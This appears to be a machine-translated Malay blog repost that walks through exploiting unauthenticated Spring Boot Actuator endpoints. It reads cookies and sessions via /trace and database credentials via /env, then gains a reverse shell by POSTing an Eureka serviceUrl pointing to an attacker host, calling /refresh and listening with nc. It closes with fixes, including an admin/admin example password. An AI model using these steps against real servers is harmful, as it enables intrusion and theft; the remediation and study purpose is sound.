Rumah  >  Artikel  >  Operasi dan penyelenggaraan  >  Contoh analisis akses Spring Boot Actuator yang tidak dibenarkan kepada getshell

Contoh analisis akses Spring Boot Actuator yang tidak dibenarkan kepada getshell

WBOY
WBOYke hadapan
2023-05-23 08:56:321998semak imbas

Kata Pengantar

Bos jabatan menggali kelemahan ini dalam src tertentu Ia adalah lubang lama, saya fikir ia menarik, jadi saya menyediakan persekitaran tempatan untuk mengujinya.

Actuator ialah modul berfungsi yang disediakan oleh springboot untuk introspeksi dan pemantauan sistem aplikasi Dengan bantuan Actuator, pembangun boleh melihat dan mengumpul statistik pada penunjuk pemantauan tertentu sistem aplikasi. Apabila Actuator didayakan, jika kebenaran yang berkaitan tidak dikawal, pengguna yang menyalahi undang-undang boleh mendapatkan maklumat pemantauan dalam sistem aplikasi dengan mengakses titik akhir penggerak lalai, yang membawa kepada kebocoran maklumat atau bahkan pengambilalihan pelayan.

Actuator ialah modul berfungsi yang disediakan oleh Spring Boot, yang boleh digunakan untuk introspeksi dan pemantauan sistem aplikasi. Titik akhir pelaksana yang disediakan dibahagikan kepada dua kategori: titik akhir asli dan titik akhir sambungan yang ditentukan pengguna >

Gunakan env plus refresh untuk melaksanakan getshellSpring Boot Actuator从未授权访问到getshell的示例分析


Gunakan pemetaan. untuk mencari antara muka yang tidak dibenarkan

  1. Gunakan jejak untuk mendapatkan maklumat pengesahan (Cookie, Tooken, Session), dan gunakan maklumat pengesahan untuk mengakses antara muka.

  2. env mungkin membocorkan kata laluan akaun pangkalan data (mangodb) Sudah tentu, rangkaian luaran mesti dibuka, jadi kemungkinannya kecil.

  3. Orang asing mengatakan bahawa pernyataan sql boleh dilaksanakan, tetapi saya belum faham lagi

  4. Kerentanan ditemui
  5. Biasanya kenal pasti rangka kerja yang digunakan oleh aplikasi web semasa sebagai rangka kerja springboot. Terdapat dua cara utama untuk menilai:

melalui ikon label halaman web aplikasi web (favicon.ico); jika pembangun aplikasi web tidak mengubah suai ikon lalai springboot aplikasi web, kemudian masukkan aplikasi Anda boleh melihat ikon hijau lalai berikut selepas halaman utama:



  1. Halaman ralat lalai dilaporkan melalui rangka kerja springboot; jika Pembangun aplikasi web tidak mengubah suai halaman ralat 4xx dan 5xx lalai aplikasi web springboot. Kemudian apabila ralat 4xx atau 5xx berlaku dalam aplikasi web, ralat berikut akan berlaku dilaporkan (hanya halaman ralat 404 digunakan sebagai contoh di sini): Akses laluan yang dibina secara rawak , contohnya: http://172.26.2.24:8090/index Jika halaman ralat berikut muncul, ini bermakna tapak web web menggunakan rangka kerja springboot (kebanyakan situasi yang dihadapi dalam amalan adalah seperti ini).

Spring Boot Actuator从未授权访问到getshell的示例分析

  1. Berdasarkan dua cara di atas untuk menentukan sama ada aplikasi web semasa ialah rangka kerja springboot, ia adalah untuk mengakses direktori yang berbeza untuk dilihat jika terdapat sebarang ikon kecil daun Hijau, dan kemudian cari cara untuk mencetuskan ralat 4xx atau 5xx aplikasi dalam direktori berbeza untuk melihat sama ada terdapat ralat Halaman Ralat Label Putih.

    Mengeksploitasi kelemahan

Akses titik akhir /trace untuk mendapatkan maklumat penjejakan permintaan HTTP asas (cap masa, pengepala HTTP, dsb. Jika terdapat permintaan operasi daripada log-). dalam pengguna, anda boleh memalsukan kuki untuk log masuk. Spring Boot Actuator从未授权访问到getshell的示例分析

Akses titik akhir /env untuk mendapatkan semua atribut persekitaran Memandangkan penggerak akan memantau perkhidmatan pangkalan data seperti mysql dan mangodb di tapak, kadangkala maklumat pangkalan data mysql dan mangodb boleh. diperoleh melalui maklumat pemantauan. Jika pangkalan data terbuka pada rangkaian awam, bahaya yang ditimbulkan adalah besar

Konfigurasi titik akhir /env yang tidak betul menyebabkan RCE >Spring Boot Actuator从未授权访问到getshell的示例分析 Prasyarat: Eureka -Pelanggan <1.8.7 (kebanyakannya dilihat dalam Spring Cloud Netflix)

Sebagai contoh, apabila menguji ralat json bahagian hadapan dan membocorkan nama pakej, gunakan netflix

Spring Boot Actuator从未授权访问到getshell的示例分析

Dua berikut diperlukan Pakej

spring-boot-starter-actuator (/refresh refresh konfigurasi diperlukan)

spring-cloud-starter-netflix- eureka-client (functional dependency)

Menggunakan python3 Untuk memulakan skrip, anda perlu memberi perhatian kepada dua tempat, satu ialah IP dan port untuk menerima shell, dan satu lagi ialah port skrip kami bermula, Spring Boot Actuator从未授权访问到getshell的示例分析

Nc mendengar pada port untuk menerima cengkerang lantunan,

menulis konfigurasi, mengakses titik akhir /env, menangkap paket dan menukar permintaan dapatkan kepada permintaan siaran Kandungan siaran ialah (IP ialah IP mesin yang dimulakan oleh skrip) :

eureka.client.serviceUrl.defaultZone=http://10.1.1.135:2333/xstream

Spring Boot Actuator从未授权访问到getshell的示例分析

Kemudian lawati /refresh, tangkap paket dan tukar permintaan get untuk Menyiarkan permintaan, data siaran adalah pilihan,

Spring Boot Actuator从未授权访问到getshell的示例分析

Kemudian dalam tetingkap nc kami, anda boleh melihat bahawa cangkerang telah berjaya dipantulkan semula.

Spring Boot Actuator从未授权访问到getshell的示例分析

Pembetulan kerentanan

Sebagai anjing keselamatan, anda tidak boleh hanya menggali tanpa membetulkan, dan memperkenalkan spring-boot di bawah pom projek. xml file -starter-security bergantung pada

<dependency>
	<groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-security</artifactId>
</dependency></p>
<p><img src="https://img.php.cn/upload/article/000/887/227/168480339634948.jpg" alt="Spring Boot Actuator从未授权访问到getshell的示例分析"></p>
<p> Kemudian dayakan fungsi keselamatan dalam application.properties, konfigurasikan kata laluan akaun akses dan mulakan semula aplikasi untuk muncul. </p>
<pre class="brush:php;toolbar:false">management.security.enabled=true
security.user.name=admin
security.user.password=admin

Spring Boot Actuator从未授权访问到getshell的示例分析

Spring Boot Actuator从未授权访问到getshell的示例分析

Untuk melumpuhkan antara muka, anda boleh menetapkannya seperti berikut (seperti melumpuhkan antara muka env):

endpoints.env.enabled = false

Masalah

Orang asing mengatakan bahawa mereka boleh melaksanakan pernyataan sql tetapi mendapati bahawa mereka tidak boleh dilaksanakan Mungkin kaedahnya tidak betul tangkapan skrin gambarnya saya harap sesiapa yang berjaya melaksanakannya boleh berkongsi.

Spring Boot Actuator从未授权访问到getshell的示例分析

Dalam persekitaran sebenar, didapati terdapat banyak tiada penyegaran, mengakibatkan ketidakupayaan untuk melaksanakan arahan

Atas ialah kandungan terperinci Contoh analisis akses Spring Boot Actuator yang tidak dibenarkan kepada getshell. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Kenyataan:
Artikel ini dikembalikan pada:yisu.com. Jika ada pelanggaran, sila hubungi admin@php.cn Padam